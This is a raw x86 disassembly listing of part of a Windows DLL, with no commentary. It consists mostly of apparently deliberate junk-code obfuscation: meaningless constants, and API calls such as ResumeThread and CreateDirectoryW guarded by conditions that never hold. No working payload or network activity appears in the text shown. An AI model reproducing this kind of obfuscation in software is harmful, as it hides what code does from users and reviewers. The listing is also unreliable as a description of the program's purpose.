call fcn.1001831b
push 6
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003288a
push dword [ebp - 0x24]
lea ecx, [ebp - 0x854]
call fcn.10018388
mov dword [eax], 0x5b57fd54
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1003286c
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x100328ad
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2b4], 0x4c506d44
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10032895
xor eax, eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], eax
jg 0x100329a9
push 4
lea ecx, [ebp - 0x310]
call fcn.1001831b
xor eax, eax
mov byte [ebp - 4], 7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100328fa
push 8
pop esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x310]
call fcn.10018388
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100328de
push 3
pop esi
push esi
lea ecx, [ebp - 0x310]
call fcn.10018388
xor ebx, ebx
mov dword [eax], ebx
jmp 0x10032971
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10032925
push eax
push 0x11ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push esi
lea ecx, [ebp - 0x310]
call fcn.10018388
lea ecx, [ebp - 0x854]
push dword [eax]
call fcn.10018388
push 3
pop ecx
push ecx
lea ecx, [ebp - 0x310]
mov esi, eax
call fcn.10018388
lea ecx, [ebp - 0x854]
push dword [eax]
call fcn.10018388
mov ecx, dword [esi]
push 3
pop esi
mov dword [eax], ecx
lea ecx, [ebp - 0x310]
push esi
call fcn.10018388
dec dword [eax]
push esi
lea ecx, [ebp - 0x310]
call fcn.10018388
cmp dword [eax], ebx
jge 0x1003290c
push 6
pop eax
lea ecx, [ebp - 0x310]
mov byte [ebp - 4], al
call fcn.10018383
inc dword [ebp - 0x2b0]
xor eax, eax
cmp dword [ebp - 0x2b0], eax
jle 0x100328bf
xor ebx, ebx
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x854]
call fcn.10018383
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x48], 0xcce005ab
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x100329e6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x144c], 0x7a81a82e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x100329cd
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x10032a05
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10032a02
push 0x222
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor eax, eax
dec dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xfffffffb
je 0x100329eb
cmp dword [ebp - 0x30], eax
jne 0x10032a70
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], ebx
xor eax, eax
cmp dword [ebp - 0x48], eax
jne 0x10032a25
cmp dword [ebp - 0x54], eax
je 0x10032a27
mov eax, ebx
mov dword [ebp - 0x48], eax
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x10032a38
cmp dword [ebp - 0x50], eax
je 0x10032a38
mov eax, ebx
inc dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, 0xfffffff6
setge al
cmp eax, dword [ebp - 0x50]
jge 0x10032a58
xor eax, eax
mov ecx, eax
jmp 0x10032a5a
mov ecx, ebx
mov eax, dword [ebp - 0x30]
add eax, ecx
mov dword [ebp - 0x28], eax
jne 0x10032a70
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x1448], eax
je 0x10032a72
mov ecx, ebx
mov eax, dword [ebp - 0x40]
xor edx, edx
imul eax, ecx
push ebx
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
cmp ecx, eax
lea ecx, [ebp - 0xa64]
setge dl
sub edx, dword [ebp - 0x1c]
cmp edx, 0xa684a08d
sbb eax, eax
inc eax
add eax, dword [ebp - 0x54]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x48], 0xfffffffd
call fcn.1001831b
push 8
pop eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x34], 0xf0415773
mov dword [ebp - 0x50], 0x514f
mov dword [ebp - 0x10], eax
jmp 0x10032ae2
push dword [ebp - 0x10]
lea ecx, [ebp - 0xa64]
call fcn.10018388
mov dword [eax], 0x6b471dfd
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x10032acb
mov eax, dword [ebp - 0x20]
mov edx, ebx
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10032af5
mov edx, eax
mov eax, dword [ebp - 0x20]
push 0xfffffffffffffff6
pop ecx
sub ecx, eax
xor eax, eax
add ecx, dword [ebp - 0x20]
cmp edx, ecx
lea ecx, [ebp - 0xa64]
setle al
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
call fcn.10018388
mov ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x20]
mov dword [eax], ecx
lea ecx, [ebp - 0xa64]
dec dword [ebp - 0x50]
or dword [ebp - 4], 0xffffffff
call fcn.10018383
mov dword [ebp - 0x2c], ebx
lea ecx, [ebp - 0xdb4]
mov dword [ebp - 0x38], 0x11151c3
xor eax, eax
mov dword [ebp - 0x38], 0x336de018
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0x936be856
mov dword [ebp - 0x34], 0x96a53086
mov dword [ebp - 0x34], 0xe450bb10
mov dword [ebp - 0x34], 0x7ddbf4df
mov dword [ebp - 0x34], 0xac3a6081
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xdaa08bbd
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xd97867a7
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0x14a9c79e
push esi
call fcn.1001831b
lea eax, [ebp - 0x100c]
mov dword [ebp - 4], 9
movdqa xmm0, xmmword [0x10007cc0]
lea ecx, [ebp - 0x1374]
push eax
lea eax, [ebp - 0x101c]
push eax
movdqu xmmword [ebp - 0x101c], xmm0
call fcn.10018397
lea ecx, [ebp - 0x141]
mov esi, eax
call fcn.10008eb3
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xfbc]
push dword [esi]
call fcn.1001835d
xor eax, eax
mov byte [ebp - 4], 0xa
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x10032c1a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1534], 0x6c2e3a4c
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10032c01
xor eax, eax
push 3
mov dword [ebp - 0x24], eax
pop esi
jmp 0x10032c36
push dword [ebp - 0x24]
lea ecx, [ebp - 0xdb4]
call fcn.10018388
or dword [eax], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10032c22
mov eax, dword [ebp - 0x2c]
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
neg eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x28], eax
xor eax, eax
push eax
call fcn.10018388
lea ecx, [ebp - 0xfbc]
inc dword [eax]
call fcn.10018383
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xdb4]
call fcn.10018383
xor eax, eax
lea ecx, [ebp - 0x264]
push 2
mov dword [ebp - 0x38], eax
pop eax
push eax
call fcn.1001831b
mov dword [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x48], 0x33563700
mov dword [ebp - 0x10], 4
mov dword [ebp - 0x28], 0xffffffff
push 2
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10032cf2
push dword [ebp - 0x18]
lea ecx, [ebp - 0x264]
call fcn.10018388
push 2
pop ecx
mov dword [eax], 0x25d16df2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10032cd1
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10032d12
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x9c4], 0x3717be9f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10032cfa
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x10032d28
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1238], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x10032d17
push ebx
lea ecx, [ebp - 0x264]
call fcn.10018388
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x38]
jne 0x10032d5d
push ebx
lea ecx, [ebp - 0x264]
call fcn.10018388
cmp dword [eax], 0
je 0x10032d60
mov eax, dword [ebp - 0x10]
push ebx
lea ecx, [ebp - 0x264]
call fcn.10018388
push ebx
lea ecx, [ebp - 0x264]
mov eax, dword [eax]
mov dword [ebp - 0x9c0], eax
call fcn.10018388
mov esi, dword [ebp - 0x9c0]
lea ecx, [ebp - 0x264]
push ebx
sub esi, dword [eax]
mov dword [ebp - 0x1238], esi
call fcn.10018388
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x264]
setge bl
xor eax, eax
inc eax
push eax
call fcn.10018388
xor ecx, ecx
cmp ebx, dword [eax]
setge cl
xor eax, eax
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x264]
push eax
call fcn.10018388
mov ecx, dword [ebp - 0x10]
mov edx, 0xaa810d21
add ecx, esi
add ecx, dword [ebp - 0x28]
cmp edx, ecx
sbb ecx, ecx
neg ecx
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
or esi, 0xffffffff
add ecx, 0xffff68c1
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x264]
mov dword [ebp - 4], esi
call fcn.10018383
mov dword [ebp - 0x30], 0x110c93b4
xor eax, eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x38], 0xe4d9
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x2c], 0xa8d3a18e
mov dword [ebp - 0x28], esi
push 6
pop eax
mov dword [ebp - 0x7c8], eax
mov dword [ebp - 0x7c4], eax
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x7bc], eax
mov eax, 0xfffe
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], 0xfffffffd
mov dword [ebp - 0x20], 0x5ad058bb
mov dword [ebp - 0x40], 0x2633
dec dword [ebp - 0x10]
jne 0x10032eb5
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x7bc]
neg eax
je 0x10032e8d
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x48]
jg 0x10032e8d
xor ebx, ebx
inc ebx
mov ecx, ebx
jmp 0x10032e94
xor eax, eax
xor ebx, ebx
mov ecx, eax
inc ebx
mov eax, dword [ebp - 0x20]
neg ecx
cmp ecx, eax
jl 0x10032ea3
mov eax, dword [ebp - 0x7bc]
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x38]
jl 0x10032eb8
xor eax, eax
mov ecx, eax
jmp 0x10032eba
xor ebx, ebx
inc ebx
mov ecx, ebx
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
add eax, ecx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
xor eax, eax
imul ecx, dword [ebp - 0x50]
cmp ecx, 0xfffffffc
setl al
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x7bc]
je 0x10032f05
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10032f16
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
jmp 0x10032f16
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x10032f16
push eax
call dword [sym.imp.USER32.dll_SetCursor]
mov dword [ebp - 0x38], 0xfffffffd
lea ecx, [ebp - 0xed4]
mov dword [ebp - 0x48], 0x5c6e
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 0x10], 0xd64ea33a
mov dword [ebp - 0x50], 0x1914cc5c
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x34], 0xa68f
mov dword [ebp - 0x34], esi
push 4
call fcn.1001831b
xor eax, eax
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], eax
jmp 0x10032f85
push dword [ebp - 0x10]
lea ecx, [ebp - 0xed4]
call fcn.10018388
mov dword [eax], 0x50e8f7cf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10032f6e
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x20]
jne 0x10032f9e
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10032fa0
mov eax, ebx
mov dword [ebp - 0x10], eax
mov edx, ebx
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10032fae
mov edx, eax
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, 0x6d40
setle al
sub eax, dword [ebp - 0x20]
jne 0x10032fcf
mov edx, eax
cmp dword [ebp - 0x20], eax
je 0x10032fd1
mov edx, ebx
xor ecx, ecx
mov dword [ebp - 0x48], 0xa835a23e
mov eax, dword [ebp - 0x20]
cmp edx, eax
push 6
setge cl
xor edx, edx
pop eax
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp eax, 0x3de0369b
setl cl
sub ecx, edx
sub ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp - 0x50]
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, 0xf1540ee1
ja 0x10033015
xor eax, eax
cmp dword [ebp - 0x50], eax
je 0x10033017
mov eax, ebx
mov dword [ebp - 0x2c], eax
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
sub edx, 0x743c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xed4]
inc dword [ebp - 0x40]
mov dword [ebp - 4], esi
call fcn.10018383
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x1c], 0xe1757117
push 0xfffffffffffffffa
pop eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x48], 0xfffffffc
mov dword [ebp - 0x48], 0x66b7a7bc
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xff2d4e20
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10033097
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12bc], 0x66bd5d51
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003307f
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x18
jle 0x100331de
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 0xfffffffc
mov dword [ebp - 0x10], eax
jmp 0x100330c4
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12cc], 0xbb9a67b9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100330b3
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setl cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
jle 0x10033111
mov ecx, eax
cmp dword [ebp - 0x1c], eax
je 0x10033113
mov ecx, ebx
mov eax, dword [ebp - 0x1c]
xor edx, edx
add eax, ecx
imul ecx, eax, 0x5616
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setl dl
cmp edx, dword [ebp - 0x30]
jle 0x10033136
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x30], eax
je 0x10033138
mov ecx, ebx
mov eax, dword [ebp - 0x30]
imul eax, ecx
xor ecx, ecx
push 2
cmp eax, 0x4286
mov eax, dword [ebp - 0x24]
setge cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge bl
xor edx, edx
neg ebx
cmp eax, ebx
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
setne cl
xor eax, eax
mov dword [ebp - 0x28], ecx
xor ebx, ebx
mov dword [ebp - 0x24], eax
inc ebx
pop ecx
cmp dword [ebp - 0x24], ebx
jg 0x100331ce
mov dword [ebp - 0x34], 0xa22f0f5b
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], 0x85ca7db
mov dword [ebp - 0x34], 0x9278a491
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x34], 0xca380790
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100331c6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x12dc], 0xbc9ee521
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x100331ae
xor eax, eax
dec dword [ebp - 0x48]
inc dword [ebp - 0x24]
jmp 0x10033176
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x18
push 0
pop eax
jg 0x100330a4
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x20], 0xb13e
mov dword [ebp - 0x34], 8
push 3
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x10033216
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x14b8], 0xb50bf34f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x100331fe
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10033262
mov dword [ebp - 0x20], eax
jmp 0x1003325b
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10033239
push 0x26ae
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 2
xor eax, eax
pop ecx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x10033258
push 0xe86
push 0x26fb
push eax
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 2
xor eax, eax
pop ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jle 0x10033220
jmp 0x1003326c
mov dword [ebp - 0x48], 0x836b16b
dec dword [ebp - 0x48]
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x1003327e
push eax
call dword [sym.imp.GDI32.dll_CreatePalette]
xor eax, eax
mov dword [ebp - 0x48], 0x8fb0b44c
mov dword [ebp - 0x20], ebx
push 2
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x100332ab
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf48], 0xf9b3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10033293
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x100332ca
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0xf48], 0
jne 0x100332c8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x100332b3
xor eax, eax
mov dword [ebp - 0x44], 0xfffffff7
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100332e6
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], 0
je 0x100332f9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
mov dword [ebp - 0x58], 0xed40a165
mov ecx, 0xb948214d
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0xd10], ecx
mov dword [ebp - 0xd0c], ecx
mov dword [ebp - 0xd08], ecx
mov dword [ebp - 0xd04], ecx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x48], 0x69a4575f
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x28], 0x88a3
push 2
mov dword [ebp - 0x50], 0xa6c9
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x10033365
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x720], 7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x10033354
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setle dl
sub edx, 0x8af16de6
neg edx
sbb edx, edx
inc edx
cmp edx, 0x3ae5
je 0x10033396
mov eax, dword [ebp - 0x24]
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0xd0c], eax
mov eax, dword [ebp - 0x2c]
test eax, eax
mov eax, 0xfffe
sets cl
cmp ecx, 0xb5009892
sbb edx, edx
xor ecx, ecx
inc edx
add edx, eax
mov eax, dword [ebp - 0x24]
cmp edx, eax
setne cl
mov dword [ebp - 0x48], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
cmp eax, 0xffffffff
mov dword [ebp - 0x720], eax
sete cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
je 0x1003347e
mov dword [ebp - 0x10], 0xdf607dbc
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x48], 0xf643d9d7
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
imul eax, dword [ebp - 0x720]
test eax, eax
jne 0x1003346a
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x720]
add edx, 0xffff664c
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setle cl
cmp ecx, dword [ebp - 0x28]
jne 0x1003346a
xor eax, eax
mov edx, eax
jmp 0x1003346c
mov edx, ebx
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x50], ecx
dec dword [ebp - 0x48]
jmp 0x100334ed
push 2
pop eax
mov dword [ebp - 0x34], 0xffffffff
lea ecx, [ebp - 0xc44]
push eax
call fcn.1001831b
xor eax, eax
mov dword [ebp - 4], 0xd
push 2
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x100334c6
push dword [ebp - 0x10]
lea ecx, [ebp - 0xc44]
call fcn.10018388
push 2
or dword [eax], 0xffffffff
inc dword [ebp - 0x10]
pop eax
cmp dword [ebp - 0x10], eax
jl 0x100334a8
xor eax, eax
inc dword [ebp - 0x50]
lea ecx, [ebp - 0xc44]
push eax
call fcn.10018388
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc44]
mov dword [eax], 7
call fcn.10018383
push 3
pop esi
mov dword [ebp - 0x48], 0xda862840
lea ecx, [ebp - 0x86c]
push ebx
call fcn.1001831b
xor eax, eax
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003352f
push dword [ebp - 0x24]
lea ecx, [ebp - 0x86c]
call fcn.10018388
mov dword [eax], 0x5b57fd54
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10033511
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10033552
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x29c], 0x4c506d44
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1003353a
xor eax, eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], eax
jg 0x1003364c
push 4
lea ecx, [ebp - 0x350]
call fcn.1001831b
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003359f
push 8
pop esi
push dword [ebp - 0x10]
lea ecx, [ebp - 0x350]
call fcn.10018388
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10033583
push 3
pop esi
push esi
lea ecx, [ebp - 0x350]
call fcn.10018388
xor ebx, ebx
mov dword [eax], ebx
jmp 0x10033616
xor eax, eax
mov byte [ebp - 0x39], al
cmp byte [ebp - 0x39], al
je 0x100335ca
push eax
push 0x11ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
push esi
lea ecx, [ebp - 0x350]
call fcn.10018388
lea ecx, [ebp - 0x86c]
push dword [eax]
call fcn.10018388
push 3
pop ecx
push ecx
lea ecx, [ebp - 0x350]
mov esi, eax
call fcn.10018388
lea ecx, [ebp - 0x86c]
push dword [eax]
call fcn.10018388
mov ecx, dword [esi]
push 3
pop esi
mov dword [eax], ecx
lea ecx, [ebp - 0x350]
push esi
call fcn.10018388
dec dword [eax]
push esi
lea ecx, [ebp - 0x350]
call fcn.10018388
cmp dword [eax], ebx
jge 0x100335b1
lea ecx, [ebp - 0x350]
mov byte [ebp - 4], 0xe
call fcn.10018383
inc dword [ebp - 0x298]
xor eax, eax
cmp dword [ebp - 0x298], eax
jle 0x10033564
xor ebx, ebx
inc ebx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x86c]
call fcn.10018383
mov dword [ebp - 0x48], 0x6bde64f
mov dword [ebp - 0x2c], 0xcf5720e8
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 7
jle 0x1003372d
push ebx
lea ecx, [ebp - 0x47c]
call fcn.1001831b
mov dword [ebp - 4], 0x10
xor eax, eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100336bc
push dword [ebp - 0x10]
lea ecx, [ebp - 0x47c]
call fcn.10018388
mov dword [eax], 0xe52d
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1003369e
xor eax, eax
push eax
lea ecx, [ebp - 0x47c]
call fcn.10018388
cmp dword [eax], 0
jne 0x1003371c
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x100336fe
push dword [ebp - 0x20]
lea ecx, [ebp - 0x47c]
call fcn.10018388
push dword [ebp - 0x20]
lea ecx, [ebp - 0x47c]
mov esi, eax
call fcn.10018388
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x20]
jns 0x100336d7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x47c]
call fcn.10018383
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 7
jg 0x1003367e
jmp 0x1003372b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x47c]
